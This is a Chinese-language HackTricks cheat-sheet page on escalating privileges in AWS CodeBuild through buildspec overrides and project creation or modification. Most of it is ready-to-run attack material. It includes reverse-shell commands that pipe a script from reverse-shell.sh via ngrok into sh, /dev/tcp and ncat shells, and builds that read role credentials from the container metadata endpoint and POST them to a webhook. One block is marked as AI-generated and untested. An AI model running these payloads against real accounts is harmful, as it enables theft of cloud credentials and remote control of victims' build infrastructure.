AWS - Codebuild Privesc

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codebuild

更多信息请见：

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

仅凭其中任一权限即可触发构建，使用新的 buildspec 并窃取分配给该项目的 iam role 的 token：

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

cat > /tmp/buildspec.yml <<EOF
version: 0.2

batch:
fast-fail: false
build-list:
- identifier: build1
env:
variables:
BUILD_ID: build1
buildspec: |
version: 0.2
env:
shell: sh
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
ignore-failure: true
EOF

aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml

注意： 这两个命令之间的区别在于：

• StartBuild 会触发一个使用特定 buildspec.yml 的单个构建任务。
• StartBuildBatch 允许你启动一批构建，具有更复杂的配置（例如并行运行多个构建）。

潜在影响： 对附加的 AWS Codebuild 角色的直接 privesc。

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

具有 iam:PassRole、codebuild:CreateProject 和 codebuild:StartBuild 或 codebuild:StartBuildBatch 权限的攻击者，可以通过创建一个正在运行的 codebuild 构建来获得任何 codebuild IAM 角色的权限。

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml

# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml

# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60

# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project

# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address

{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}

# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json

# Start a build with the new project
aws codebuild start-build --project-name user-project-1

# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from

潜在影响： 直接 privesc 到任何 AWS Codebuild role。

Warning

在 Codebuild container 中，文件 /codebuild/output/tmp/env.sh 包含访问 元数据凭证 所需的所有环境变量。

该文件包含 env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI，其中包含访问凭证的 URL path。它看起来像 /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

将其添加到 URL http://169.254.170.2/，即可转储角色凭证。

此外，它还包含 env variable ECS_CONTAINER_METADATA_URI，其中包含用于获取关于容器的完整元数据信息的 URL。

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

就像前一节，如果不是创建一个 build project 而是修改它，你可以指定 IAM Role 并窃取 token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potential Impact: 直接 privesc 到任何 AWS Codebuild 角色。

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

与上一节类似，但 没有 iam:PassRole 权限，你可以滥用这些权限来 修改现有的 Codebuild 项目并访问它们已分配的角色。

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"project_name\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

潜在影响： 直接 privesc 到附加的 AWS Codebuild roles。

SSM

拥有 足够权限来启动 ssm session 时，可以进入正在构建的 Codebuild project。

该 Codebuild project 需要有一个 breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

然后：

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

更多信息请参阅 check the docs。

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

如果攻击者能够启动或重启一个将其 buildspec.yml 文件存储在攻击者具有写权限的 S3 存储桶中的特定 CodeBuild 项目的构建，则可以在 CodeBuild 进程中获得命令执行。

注意：只有在 CodeBuild worker 使用不同且（希望）权限更高的角色时，此提权才有意义。

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

你可以使用类似这样的 buildspec 来获取 reverse shell：

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: 对通常具有高权限的 AWS CodeBuild worker 使用的角色进行直接 privesc。

Warning

请注意，buildspec 可能以 zip 格式存在，因此攻击者需要下载、解压、在根目录修改 buildspec.yml，重新压缩并上传

More details could be found here.

Potential Impact: 对附加的 AWS Codebuild 角色进行直接 privesc。

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

• 查看 订阅计划!
• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。